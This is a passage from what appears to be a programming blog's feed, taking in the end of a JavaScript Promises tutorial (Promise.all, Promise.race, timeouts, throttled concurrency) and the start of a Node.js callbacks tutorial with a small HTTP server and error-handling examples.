<h3 id="Promise-resolve-and-Promise-reject"><a href="#Promise-resolve-and-Promise-reject" class="headerlink" title="Promise.resolve and Promise.reject"></a>Promise.resolve and Promise.reject</h3><p>These two are helper functions that resolve or reject immediately. You can pass a <code>reason</code> that will be passed on the next <code>.then</code>.</p>
<figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">Promise</span>.resolve(<span class="string">&#x27;Yay!!!&#x27;</span>)</span><br><span class="line">  .then(<span class="built_in">console</span>.log)</span><br><span class="line">  .catch(<span class="built_in">console</span>.error)</span><br></pre></td></tr></table></figure>

<p>This code will output <code>Yay!!!</code> as expected.</p>
<figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">Promise</span>.reject(<span class="string">&#x27;Oops 🔥&#x27;</span>)</span><br><span class="line">  .then(<span class="built_in">console</span>.log)</span><br><span class="line">  .catch(<span class="built_in">console</span>.error)</span><br></pre></td></tr></table></figure>

<p>The output will be a console error with the error reason of <code>Oops 🔥</code>.</p>
<h3 id="Executing-promises-in-Parallel-with-Promise-all"><a href="#Executing-promises-in-Parallel-with-Promise-all" class="headerlink" title="Executing promises in Parallel with Promise.all"></a>Executing promises in Parallel with Promise.all</h3><p>Usually, promises are executed in series, one after another, but you can use them in parallel as well.</p>
<p>Let’s say are polling data from 2 different APIs. If they are not related, we can do trigger both requests at once with <code>Promise.all()</code>.</p>
<p>For this example, we will pull the Bitcoin price in USD and convert it to EUR. For that, we have two independent API calls. One for BTC/USD and other to get EUR/USD. As you imagine, both API calls can be called in parallel. However, we need a way to know when both are done to calculate the final price. We can use <code>Promise.all</code>. When all promises are done, a new promise will be returning will the results.</p>
<script defer async src="https://embed.runkit.com" data-element-id="promise-all"></script>
<pre id="promise-all" class="runkit">
const axios = require('axios');

const bitcoinPromise = axios.get('https://api.coinpaprika.com/v1/coins/btc-bitcoin/markets');
const dollarPromise = axios.get('https://api.exchangeratesapi.io/latest?base=USD');
const currency = 'EUR';

// Get the price of bitcoins on
Promise.all([bitcoinPromise, dollarPromise])
  .then(([bitcoinMarkets, dollarExchanges]) => {
    const byCoinbaseBtc = d => d.exchange_id === 'coinbase-pro' && d.pair === 'BTC/USD';
    const coinbaseBtc = bitcoinMarkets.data.find(byCoinbaseBtc)
    const coinbaseBtcInUsd = coinbaseBtc.quotes.USD.price;
    const rate = dollarExchanges.data.rates[currency];
    return rate * coinbaseBtcInUsd;
  })
  .then(price => console.log(`The Bitcoin in ${currency} is ${price.toLocaleString()}`))
  .catch(console.log);
</pre>


<p>As you can see, <code>Promise.all</code> accepts an array of promises. When the request for both requests are completed, then we can proceed to calculate the price.</p>
<p>Let’s do another example and time it:</p>
<figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">const</span> a = <span class="function">() =&gt;</span> <span class="keyword">new</span> <span class="built_in">Promise</span>(<span class="function">(<span class="params">resolve</span>) =&gt;</span> <span class="built_in">setTimeout</span>(<span class="function">() =&gt;</span> resolve(<span class="string">&#x27;a&#x27;</span>), <span class="number">2000</span>));</span><br><span class="line"><span class="keyword">const</span> b = <span class="function">() =&gt;</span> <span class="keyword">new</span> <span class="built_in">Promise</span>(<span class="function">(<span class="params">resolve</span>) =&gt;</span> <span class="built_in">setTimeout</span>(<span class="function">() =&gt;</span> resolve(<span class="string">&#x27;b&#x27;</span>), <span class="number">1000</span>));</span><br><span class="line"><span class="keyword">const</span> c = <span class="function">() =&gt;</span> <span class="keyword">new</span> <span class="built_in">Promise</span>(<span class="function">(<span class="params">resolve</span>) =&gt;</span> <span class="built_in">setTimeout</span>(<span class="function">() =&gt;</span> resolve(<span class="string">&#x27;c&#x27;</span>), <span class="number">1000</span>));</span><br><span class="line"><span class="keyword">const</span> d = <span class="function">() =&gt;</span> <span class="keyword">new</span> <span class="built_in">Promise</span>(<span class="function">(<span class="params">resolve</span>) =&gt;</span> <span class="built_in">setTimeout</span>(<span class="function">() =&gt;</span> resolve(<span class="string">&#x27;d&#x27;</span>), <span class="number">1000</span>));</span><br><span class="line"></span><br><span class="line"><span class="built_in">console</span>.time(<span class="string">&#x27;promise.all&#x27;</span>);</span><br><span class="line"><span class="built_in">Promise</span>.all([a(), b(), c(), d()])</span><br><span class="line">  .then(<span class="function"><span class="params">results</span> =&gt;</span> <span class="built_in">console</span>.log(<span class="string">`Done! <span class="subst">$&#123;results&#125;</span>`</span>))</span><br><span class="line">  .catch(<span class="built_in">console</span>.error)</span><br><span class="line">  .finally(<span class="function">() =&gt;</span> <span class="built_in">console</span>.timeEnd(<span class="string">&#x27;promise.all&#x27;</span>));</span><br></pre></td></tr></table></figure>

<p>How long is it going to take to solve each of these promises? 5 seconds? 1 second? Or 2 seconds?</p>
<p>You can experiment with the dev tools and report back your results ;)</p>
<h3 id="Promise-race"><a href="#Promise-race" class="headerlink" title="Promise race"></a>Promise race</h3><p>The <code>Promise.race(iterable)</code> takes a collection of promises and resolves as soon as the first promise settles.</p>
<figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">const</span> a = <span class="function">() =&gt;</span> <span class="keyword">new</span> <span class="built_in">Promise</span>(<span class="function">(<span class="params">resolve</span>) =&gt;</span> <span class="built_in">setTimeout</span>(<span class="function">() =&gt;</span> resolve(<span class="string">&#x27;a&#x27;</span>), <span class="number">2000</span>));</span><br><span class="line"><span class="keyword">const</span> b = <span class="function">() =&gt;</span> <span class="keyword">new</span> <span class="built_in">Promise</span>(<span class="function">(<span class="params">resolve</span>) =&gt;</span> <span class="built_in">setTimeout</span>(<span class="function">() =&gt;</span> resolve(<span class="string">&#x27;b&#x27;</span>), <span class="number">1000</span>));</span><br><span class="line"><span class="keyword">const</span> c = <span class="function">() =&gt;</span> <span class="keyword">new</span> <span class="built_in">Promise</span>(<span class="function">(<span class="params">resolve</span>) =&gt;</span> <span class="built_in">setTimeout</span>(<span class="function">() =&gt;</span> resolve(<span class="string">&#x27;c&#x27;</span>), <span class="number">1000</span>));</span><br><span class="line"><span class="keyword">const</span> d = <span class="function">() =&gt;</span> <span class="keyword">new</span> <span class="built_in">Promise</span>(<span class="function">(<span class="params">resolve</span>) =&gt;</span> <span class="built_in">setTimeout</span>(<span class="function">() =&gt;</span> resolve(<span class="string">&#x27;d&#x27;</span>), <span class="number">1000</span>));</span><br><span class="line"></span><br><span class="line"><span class="built_in">console</span>.time(<span class="string">&#x27;promise.race&#x27;</span>);</span><br><span class="line"><span class="built_in">Promise</span>.race([a(), b(), c(), d()])</span><br><span class="line">  .then(<span class="function"><span class="params">results</span> =&gt;</span> <span class="built_in">console</span>.log(<span class="string">`Done! <span class="subst">$&#123;results&#125;</span>`</span>))</span><br><span class="line">  .catch(<span class="built_in">console</span>.error)</span><br><span class="line">  .finally(<span class="function">() =&gt;</span> <span class="built_in">console</span>.timeEnd(<span class="string">&#x27;promise.race&#x27;</span>));</span><br></pre></td></tr></table></figure>

<p>What’s the output?</p>
<p>It’s <code>b</code>! With <code>Promise.race</code> only the fastest gets to be part of the result. 🏁</p>
<p>You might wonder: _ What’s the usage of the Promise race?_</p>
<p>I haven’t used it as often as the others. But, it can come handy in some cases like timing out promises and <a href="#How-to-limit-parallel-promises">batching array of requests</a>.</p>
<h4 id="Timing-out-requests-with-Promise-race"><a href="#Timing-out-requests-with-Promise-race" class="headerlink" title="Timing out requests with Promise race"></a>Timing out requests with Promise race</h4><figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">Promise</span>.race([</span><br><span class="line">  fetch(<span class="string">&#x27;http://slowwly.robertomurray.co.uk/delay/3000/url/https://api.jsonbin.io/b/5d1fb4dd138da811182c69af&#x27;</span>),</span><br><span class="line">  <span class="keyword">new</span> <span class="built_in">Promise</span>(<span class="function">(<span class="params">resolve, reject</span>) =&gt;</span> <span class="built_in">setTimeout</span>(<span class="function">() =&gt;</span> reject(<span class="keyword">new</span> <span class="built_in">Error</span>(<span class="string">&#x27;request timeout&#x27;</span>)), <span class="number">1000</span>))</span><br><span class="line">])</span><br><span class="line">.then(<span class="built_in">console</span>.log)</span><br><span class="line">.catch(<span class="built_in">console</span>.error);</span><br></pre></td></tr></table></figure>

<p><img src="/images/promise-race-fail.gif" alt="Promise race timeout"></p>
<p>If the request is fast enough, then you have the result.</p>
<figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">Promise</span>.race([</span><br><span class="line">  fetch(<span class="string">&#x27;http://slowwly.robertomurray.co.uk/delay/1/url/https://api.jsonbin.io/b/5d1fb4dd138da811182c69af&#x27;</span>),</span><br><span class="line">  <span class="keyword">new</span> <span class="built_in">Promise</span>(<span class="function">(<span class="params">resolve, reject</span>) =&gt;</span> <span class="built_in">setTimeout</span>(<span class="function">() =&gt;</span> reject(<span class="keyword">new</span> <span class="built_in">Error</span>(<span class="string">&#x27;request timeout&#x27;</span>)), <span class="number">1000</span>))</span><br><span class="line">])</span><br><span class="line">.then(<span class="built_in">console</span>.log)</span><br><span class="line">.catch(<span class="built_in">console</span>.error);</span><br></pre></td></tr></table></figure>

<p><img src="/images/promise-race-pass.gif" alt="Promise race"></p>
<h2 id="Promises-FAQ"><a href="#Promises-FAQ" class="headerlink" title="Promises FAQ"></a>Promises FAQ</h2><p>This section covers tricks and tips using all the promises methods that we explained before.</p>
<h3 id="Executing-promises-in-series-and-passing-arguments"><a href="#Executing-promises-in-series-and-passing-arguments" class="headerlink" title="Executing promises in series and passing arguments"></a>Executing promises in series and passing arguments</h3><p>This time we are going to use the promises API for Node’s <code>fs</code> and we are going to concatenate two files:</p>
<figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">const</span> fs = <span class="built_in">require</span>(<span class="string">&#x27;fs&#x27;</span>).promises; <span class="comment">// requires node v8+</span></span><br><span class="line"></span><br><span class="line">fs.readFile(<span class="string">&#x27;file.txt&#x27;</span>, <span class="string">&#x27;utf8&#x27;</span>)</span><br><span class="line">  .then(<span class="function"><span class="params">content1</span> =&gt;</span> fs.writeFile(<span class="string">&#x27;output.txt&#x27;</span>, content1))</span><br><span class="line">  .then(<span class="function">() =&gt;</span> fs.readFile(<span class="string">&#x27;file2.txt&#x27;</span>, <span class="string">&#x27;utf8&#x27;</span>))</span><br><span class="line">  .then(<span class="function"><span class="params">content2</span> =&gt;</span> fs.writeFile(<span class="string">&#x27;output.txt&#x27;</span>, content2, &#123; <span class="attr">flag</span>: <span class="string">&#x27;a+&#x27;</span> &#125;))</span><br><span class="line">  .catch(<span class="function"><span class="params">error</span> =&gt;</span> <span class="built_in">console</span>.log(error));</span><br></pre></td></tr></table></figure>

<p>In this example, we read file 1 and write it to the output file. Later, we read file 2 and append it to the output file again.
As you can see, <code>writeFile</code> promise returns the content of the file, and you can use it in the next <code>then</code> clause.</p>
<h3 id="How-do-I-chain-multiple-conditional-promises"><a href="#How-do-I-chain-multiple-conditional-promises" class="headerlink" title="How do I chain multiple conditional promises?"></a>How do I chain multiple conditional promises?</h3><p>You might have a case where you want to skip specific steps on a promise chain. You can do that in two ways.</p>
<script defer async src="https://embed.runkit.com" data-element-id="ex1"></script>
<pre id="ex1" class="runkit">
const a = () => new Promise((resolve) => setTimeout(() => { console.log('a'), resolve() }, 1e3));
const b = () => new Promise((resolve) => setTimeout(() => { console.log('b'), resolve() }, 2e3));
const c = () => new Promise((resolve) => setTimeout(() => { console.log('c'), resolve() }, 3e3));
const d = () => new Promise((resolve) => setTimeout(() => { console.log('d'), resolve() }, 4e3));

const shouldExecA = true;
const shouldExecB = false;
const shouldExecC = false;
const shouldExecD = true;

Promise.resolve()
  .then(() => shouldExecA && a())
  .then(() => shouldExecB && b())
  .then(() => shouldExecC && c())
  .then(() => shouldExecD && d())
  .then(() => console.log('done'))
</pre>

<p>If you run the code example, you will notice that only <code>a</code> and <code>d</code> are executed as expected.</p>
<p>An alternative way is creating a chain and then only add them if</p>
<figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">const</span> chain = <span class="built_in">Promise</span>.resolve();</span><br><span class="line"><span class="keyword">if</span> (shouldExecA) chain = chain.then(a);</span><br><span class="line"><span class="keyword">if</span> (shouldExecB) chain = chain.then(b);</span><br><span class="line"><span class="keyword">if</span> (shouldExecC) chain = chain.then(c);</span><br><span class="line"><span class="keyword">if</span> (shouldExecD) chain = chain.then(d);</span><br><span class="line"></span><br><span class="line">chain</span><br><span class="line">  .then(<span class="function">() =&gt;</span> <span class="built_in">console</span>.log(<span class="string">&#x27;done&#x27;</span>));</span><br></pre></td></tr></table></figure>

<h3 id="How-to-limit-parallel-promises"><a href="#How-to-limit-parallel-promises" class="headerlink" title="How to limit parallel promises?"></a>How to limit parallel promises?</h3><p>To accomplish this, we have to throttle <code>Promise.all</code> somehow.</p>
<p>Let’s say you have many concurrent requests to do. If you use a <code>Promise.all</code> that won’t be good (especially when the API is rate limited).
So, we need to develop and function that does that for us. Let’s call it <code>promiseAllThrottled</code>.</p>
<figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// simulate 10 async tasks that takes 5 seconds to complete.</span></span><br><span class="line"><span class="keyword">const</span> requests = <span class="built_in">Array</span>(<span class="number">10</span>)</span><br><span class="line">  .fill()</span><br><span class="line">  .map(<span class="function">(<span class="params">_, i</span>) =&gt;</span> <span class="function">() =&gt;</span> <span class="keyword">new</span> <span class="built_in">Promise</span>((<span class="function"><span class="params">resolve</span> =&gt;</span> <span class="built_in">setTimeout</span>(<span class="function">() =&gt;</span> &#123; <span class="built_in">console</span>.log(<span class="string">`exec&#x27;ing task #<span class="subst">$&#123;i&#125;</span>`</span>), resolve(<span class="string">`task #<span class="subst">$&#123;i&#125;</span>`</span>); &#125;, <span class="number">5000</span>))));</span><br><span class="line"></span><br><span class="line">promiseAllThrottled(requests, &#123; <span class="attr">concurrency</span>: <span class="number">3</span> &#125;)</span><br><span class="line">  .then(<span class="built_in">console</span>.log)</span><br><span class="line">  .catch(<span class="function"><span class="params">error</span> =&gt;</span> <span class="built_in">console</span>.error(<span class="string">&#x27;Oops something went wrong&#x27;</span>, error));</span><br></pre></td></tr></table></figure>

<p>The output should be something like this:</p>
<p><img src="/images/promise-throttle.gif" alt="promise throttle"></p>
<p>So, the code above will limit the concurrency to 3 tasks executing in parallel. This is one possible implementation of <code>promiseAllThrottled</code> using <code>Promise.race</code> to throttle the number of active tasks at a given time:</p>
<figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">/**</span></span><br><span class="line"><span class="comment"> * Similar to Promise.all but a concurrency limit</span></span><br><span class="line"><span class="comment"> *</span></span><br><span class="line"><span class="comment"> * <span class="doctag">@param <span class="type">&#123;Array&#125;</span> </span>iterable Array of functions that returns a promise</span></span><br><span class="line"><span class="comment"> * <span class="doctag">@param <span class="type">&#123;Object&#125;</span> </span>concurrency max number of parallel promises running</span></span><br><span class="line"><span class="comment"> */</span></span><br><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">promiseAllThrottled</span>(<span class="params">iterable, &#123; concurrency = <span class="number">3</span> &#125; = &#123;&#125;</span>) </span>&#123;</span><br><span class="line">  <span class="keyword">const</span> promises = [];</span><br><span class="line"></span><br><span class="line">  <span class="function"><span class="keyword">function</span> <span class="title">enqueue</span>(<span class="params">current = <span class="number">0</span>, queue = []</span>) </span>&#123;</span><br><span class="line">    <span class="comment">// return if done</span></span><br><span class="line">    <span class="keyword">if</span> (current === iterable.length) &#123; <span class="keyword">return</span> <span class="built_in">Promise</span>.resolve(); &#125;</span><br><span class="line">    <span class="comment">// take one promise from collection</span></span><br><span class="line">    <span class="keyword">const</span> promise = iterable[current];</span><br><span class="line">    <span class="keyword">const</span> activatedPromise = promise();</span><br><span class="line">    <span class="comment">// add promise to the final result array</span></span><br><span class="line">    promises.push(activatedPromise);</span><br><span class="line">    <span class="comment">// add current activated promise to queue and remove it when done</span></span><br><span class="line">    <span class="keyword">const</span> autoRemovePromise = activatedPromise.then(<span class="function">() =&gt;</span> &#123;</span><br><span class="line">      <span class="comment">// remove promise from the queue when done</span></span><br><span class="line">      <span class="keyword">return</span> queue.splice(queue.indexOf(autoRemovePromise), <span class="number">1</span>);</span><br><span class="line">    &#125;);</span><br><span class="line">    <span class="comment">// add promise to the queue</span></span><br><span class="line">    queue.push(autoRemovePromise);</span><br><span class="line"></span><br><span class="line">    <span class="comment">// if queue length &gt;= concurrency, wait for one promise to finish before adding more.</span></span><br><span class="line">    <span class="keyword">const</span> readyForMore = queue.length &lt; concurrency ? <span class="built_in">Promise</span>.resolve() : <span class="built_in">Promise</span>.race(queue);</span><br><span class="line">    <span class="keyword">return</span> readyForMore.then(<span class="function">() =&gt;</span> enqueue(current + <span class="number">1</span>, queue));</span><br><span class="line">  &#125;</span><br><span class="line"></span><br><span class="line">  <span class="keyword">return</span> enqueue()</span><br><span class="line">    .then(<span class="function">() =&gt;</span> <span class="built_in">Promise</span>.all(promises));</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>

<p>The <code>promiseAllThrottled</code> takes promises one by one. It executes the promises and adds it to the queue. If the queue is less than the concurrency limit, it keeps adding to the queue. Once the limit is reached, we use <code>Promise.race</code> to wait for one promise to finish so we can replace it with a new one.
The trick here is that the promise auto removes itself from the queue when it is done. Also, we use race to detect when a promise has finished, and it adds a new one.</p>
<hr>

<p><strong>Related Posts:</strong></p>
<ol>
<li><a href="/asynchronous-vs-synchronous-handling-concurrency-in-javascript/">Async vs Sync in JavaScript</a></li>
<li><a href="/callbacks-concurrency-in-javascript-node/">JavaScript Callbacks</a></li>
<li><a href="/promises-tutorial-concurrency-in-javascript-node/">JavaScript Promises</a> (this one)</li>
</ol>
<hr>
]]></content>
    
    <summary type="html">
    
      &lt;p&gt;This post is intended to be the ultimate JavaScript Promises tutorial: recipes and examples for everyday situations (or that’s the goal 😉). We cover all the necessary methods like &lt;code&gt;then&lt;/code&gt;, &lt;code&gt;catch&lt;/code&gt;, and &lt;code&gt;finally&lt;/code&gt;. Also, we go over more complex situations like executing promises in parallel with &lt;code&gt;Promise.all&lt;/code&gt;, timing out APIs with &lt;code&gt;Promise.race&lt;/code&gt;, promise chaining and some best practices and gotchas.&lt;/p&gt;
    
    </summary>
    
      <category term="Coding" scheme="https://adrianmejia.com/categories/coding/"/>
    
    
      <category term="javascript" scheme="https://adrianmejia.com/tags/javascript/"/>
    
      <category term="nodejs" scheme="https://adrianmejia.com/tags/nodejs/"/>
    
      <category term="tutorial_async-javascript" scheme="https://adrianmejia.com/tags/tutorial-async-javascript/"/>
    
  </entry>
  
  <entry>
    <title>Understanding JavaScript Callbacks and best practices</title>
    <link href="https://adrianmejia.com/callbacks-concurrency-in-javascript-node/"/>
    <id>https://adrianmejia.com/callbacks-concurrency-in-javascript-node/</id>
    <published>2019-07-03T23:06:12.000Z</published>
    <updated>2019-07-03T23:06:12.000Z</updated>
    
    <content type="html"><![CDATA[<p>Callbacks are one of the critical elements to understand JavaScript and Node.js. Nearly, all the asynchronous functions use a callback (or promises). In this post, we are going to cover callbacks in-depth and best practices.</p>
<a id="more"></a>

<p>This post assumes you know the <a href="/asynchronous-vs-synchronous-handling-concurrency-in-javascript">difference between synchronous and asynchronous code</a>.</p>
<p>JavaScript is an event-driven language. Instead of waiting for things to happen, it executes while listening for events. The way you respond to an event is using callbacks.</p>
<hr>

<p><strong>Related Posts:</strong></p>
<ol>
<li><a href="/asynchronous-vs-synchronous-handling-concurrency-in-javascript/">Async vs Sync in JavaScript</a></li>
<li><a href="/callbacks-concurrency-in-javascript-node/">JavaScript Callbacks</a> (this one)</li>
<li><a href="/promises-tutorial-concurrency-in-javascript-node/">JavaScript Promises</a></li>
</ol>
<hr>

<h2 id="JavaScript-callbacks"><a href="#JavaScript-callbacks" class="headerlink" title="JavaScript callbacks"></a>JavaScript callbacks</h2><blockquote>
<p>A callback is a function that is passed as an argument to another function.</p>
</blockquote>
<p>Callbacks are also known as <strong>higher-order function</strong>.</p>
<p>An example of a callback is the following:</p>
<figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">const</span> compute = <span class="function">(<span class="params">n1, n2, callback</span>) =&gt;</span> callback(n1, n2);</span><br><span class="line"><span class="keyword">const</span> sum = <span class="function">(<span class="params">n1, n2</span>) =&gt;</span> n1 + n2;</span><br><span class="line"><span class="keyword">const</span> product = <span class="function">(<span class="params">n1, n2</span>) =&gt;</span> n1 * n2;</span><br><span class="line"></span><br><span class="line"><span class="built_in">console</span>.log(compute(<span class="number">5</span>, <span class="number">3</span>, sum));     <span class="comment">// ↪️  8</span></span><br><span class="line"><span class="built_in">console</span>.log(compute(<span class="number">5</span>, <span class="number">3</span>, product)); <span class="comment">// ↪️  15</span></span><br></pre></td></tr></table></figure>

<p>As you can see the function <code>compute</code> takes two numbers and a callback function. This <code>callback</code> function can be <code>sum</code>, <code>product</code> and any other that you develop that operates two numbers.</p>
<h2 id="Callback-Advantages"><a href="#Callback-Advantages" class="headerlink" title="Callback Advantages"></a>Callback Advantages</h2><p>Callbacks can help to make your code more maintainable if you use them well. They will also help you to:</p>
<ul>
<li>Keep your code DRY (Do Not Repeat Yourself)</li>
<li>Implement better abstraction where you can have more generic functions like <code>compute</code> that can handle all sorts of functionalities (e.g., <code>sum</code>, <code>product</code>)</li>
<li>Improve code readability and maintainability.</li>
</ul>
<p>So far, we have only seen callbacks that are executed immediately; however, most of the callbacks in JavaScript are tied to an event like a timer, API request or reading a file.</p>
<h2 id="Asynchronous-callbacks"><a href="#Asynchronous-callbacks" class="headerlink" title="Asynchronous callbacks"></a>Asynchronous callbacks</h2><blockquote>
<p>An asynchronous callback is a function that is passed as an argument to another function <em>and gets invoke zero or multiple times after certain events happens</em>.</p>
</blockquote>
<p>It’s like when your friends tell you to call them back when you arrive at the restaurant. You coming to the restaurant is the “event” that <em>triggers</em> the callback. Something similar happens in the programming world. The event could be you click a button, a file is loaded into memory, and request to a server API, and so on.</p>
<p>Let’s see an example with two callbacks:</p>
<figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">const</span> id = <span class="built_in">setInterval</span>(<span class="function">() =&gt;</span> <span class="built_in">console</span>.log(<span class="string">&#x27;tick ⏰&#x27;</span>), <span class="number">1e3</span>);</span><br><span class="line"><span class="built_in">setTimeout</span>(<span class="function">() =&gt;</span> <span class="built_in">clearInterval</span>(id), <span class="number">5e3</span>);</span><br></pre></td></tr></table></figure>

<p>First, you notice that we are using anonymous functions (in the previous example, we were passing the named functions such as <code>sum</code> and <code>product</code>). The callback passed to <code>setInterval</code> is triggered every second, and it prints <code>tick</code>. The second callback is called one after 5 seconds. It cancels the interval, so it just writes <code>tick</code> five times.</p>
<blockquote>
<p>Callbacks are a way to make sure a particular code doesn’t execute until another has already finished.</p>
</blockquote>
<p>The <code>console.log(&#39;tick&#39;)</code> only gets executed when a second has passed.</p>
<p>The functions <code>setInterval</code> and <code>setTimeout</code> callbacks are very simple. They don’t provide any parameters on the callback functions. But, if we are reading from the file system or network, we can get the response as a callback parameter.</p>
<h2 id="Callback-Parameters"><a href="#Callback-Parameters" class="headerlink" title="Callback Parameters"></a>Callback Parameters</h2><p>The callback parameters allow you to get messages into your functions when they are available. Let’s say we are going to create a vanilla server on Node.js.</p>
<figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">const</span> http = <span class="built_in">require</span>(<span class="string">&#x27;http&#x27;</span>);</span><br><span class="line"></span><br><span class="line"><span class="keyword">const</span> port = <span class="number">1777</span>;</span><br><span class="line"><span class="keyword">const</span> host = <span class="string">&#x27;127.0.0.1&#x27;</span>;</span><br><span class="line"></span><br><span class="line"><span class="keyword">const</span> proxy = http.createServer(<span class="function">(<span class="params">req, res</span>) =&gt;</span> &#123;</span><br><span class="line">  res.writeHead(<span class="number">200</span>, &#123; <span class="string">&#x27;Content-Type&#x27;</span>: <span class="string">&#x27;text/plain&#x27;</span> &#125;);</span><br><span class="line">  res.end(<span class="string">`Hello World from Node! You used url &quot;<span class="subst">$&#123;req.url&#125;</span>&quot;\r\n`</span>);</span><br><span class="line">&#125;);</span><br><span class="line"></span><br><span class="line">proxy.listen(port, host, <span class="function">() =&gt;</span> &#123;</span><br><span class="line">  <span class="built_in">console</span>.log(<span class="string">`Server running on http://<span class="subst">$&#123;host&#125;</span>:<span class="subst">$&#123;port&#125;</span>`</span>);</span><br><span class="line">&#125;);</span><br></pre></td></tr></table></figure>

<p>We have two callbacks here. The <code>http.createServer</code>‘s callback sends the parameters (<code>req</code>)uest and (<code>res</code>)ponse every time somebody connects to the server.</p>
<p>You can test this server using curl (or browser)</p>
<figure class="highlight sh"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">curl 127.0.0.1:1777/this/is/cool</span><br></pre></td></tr></table></figure>

<p>There you have it! An HTTP server that replies to everyone that connects to it using a callback. But, What would happen if there’s an error? Let’s see how to handle that next.</p>
<h2 id="Handling-errors-with-Node-js-callbacks"><a href="#Handling-errors-with-Node-js-callbacks" class="headerlink" title="Handling errors with Node.js callbacks"></a>Handling errors with Node.js callbacks</h2><p>Some callbacks send errors on the first parameter and then the data (<code>callback(error, data)</code>). That’s very common in Node.js API.
Let’s say we want to see all the directories on a given folder:</p>
<figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">const</span> fs = <span class="built_in">require</span>(<span class="string">&#x27;fs&#x27;</span>);</span><br><span class="line"></span><br><span class="line">fs.readdir(<span class="string">&#x27;/Users/adrian/Code&#x27;</span>, <span class="function">(<span class="params">error, files</span>) =&gt;</span> &#123;</span><br><span class="line">  <span class="keyword">if</span> (error) &#123; <span class="built_in">console</span>.error(error); &#125;</span><br><span class="line">  <span class="built_in">console</span>.log(files);</span><br><span class="line">&#125;);</span><br></pre></td></tr></table></figure>

<p>As you notice, the first parameter will have an error message. If you run it, you would probably have the error message (unless you have the same name and directory).</p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">&#123; [Error: ENOENT: no such file or directory, scandir &#39;&#x2F;Users&#x2F;noAdrian&#x2F;Code&#39;]</span><br><span class="line">  errno: -2,</span><br><span class="line">  code: &#39;ENOENT&#39;,</span><br><span class="line">  syscall: &#39;scandir&#39;,</span><br><span class="line">  path: &#39;&#x2F;Users&#x2F;noAdrian&#x2F;Code&#39; &#125;</span><br><span class="line">undefined</span><br></pre></td></tr></table></figure>

<p>So that’s how you handle errors, you check for that parameter. But (there’s always a but) what if I need to do multiple async operations. The easiest way (but not the best) is to have a callback inside a callback:</p>
